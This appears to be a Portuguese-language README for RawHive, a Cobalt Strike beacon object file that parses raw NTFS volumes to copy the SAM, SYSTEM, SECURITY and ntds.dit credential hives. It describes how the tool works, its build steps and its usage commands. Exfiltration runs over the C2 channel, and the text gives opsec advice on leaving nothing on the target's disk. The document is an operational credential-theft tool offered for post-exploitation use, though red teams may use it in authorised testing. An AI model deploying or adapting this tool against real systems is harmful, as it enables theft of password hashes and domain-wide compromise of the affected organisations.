RawHive

RawHive é um BOF do Cobalt Strike para extrair hives selecionados do registro do Windows diretamente de um volume NTFS bruto. Ele ignora as APIs de arquivo normais, percorre os metadados do NTFS para encontrar os registros de arquivo alvo e lê os bytes diretamente do disco.

Alvos:

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (somente controladores de domínio)

Qualquer letra de unidade NTFS local funciona; o padrão é C:.

Como funciona

1. Abre o volume (por exemplo \\.\C:) e lê o setor de boot para localizar o $MFT.
2. Percorre os índices de diretório para Windows, System32, config e os arquivos alvo, com uma varredura limitada do MFT como fallback.
3. Lê os dados do arquivo a partir de atributos residentes ou runlists de cluster.
4. Transmite os bytes pelo C2 (modo download) ou grava-os em disco (modo disk-write).

Requisitos

• Beacon de 64 bits executando como administrador local ou SYSTEM.
• x86_64-w64-mingw32-gcc e make para compilar.

Compilação

make

Compila dist/rawhive.x64.o. O rawhive.cna carrega o objeto de dist/, então recompile após alterar rawhive.c.

Uso

O modo download é o padrão: as hives são lidas diretamente do volume bruto e enviadas ao team server pela API BeaconDownload. Nada toca o disco do alvo.

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

O modo disk-write salva arquivos .tmp em um diretório no alvo. Observe que isso toca o disco e pode não ser opsec safe; prefira o modo download, a menos que você precise especificamente que os arquivos sejam gravados localmente.

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

O volume pode ser escrito como C, c ou C:. O diretório de saída já deve existir.

Saída

Os arquivos são nomeados <host>_<timestamp>_<hive>.tmp:

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

No modo download, eles aparecem na bandeja de downloads do Cobalt Strike; no modo disk-write, eles ficam no diretório de saída especificado.

Notas

• A varredura de fallback do MFT é limitada a 500.000 registros.
• As runlists são limitadas a 128 extensões; um arquivo muito fragmentado falha em vez de reportar um arquivo parcial como completo.
• Estruturas NTFS malformadas ou não suportadas são rejeitadas em vez de continuar com offsets inseguros.

Prova de conceito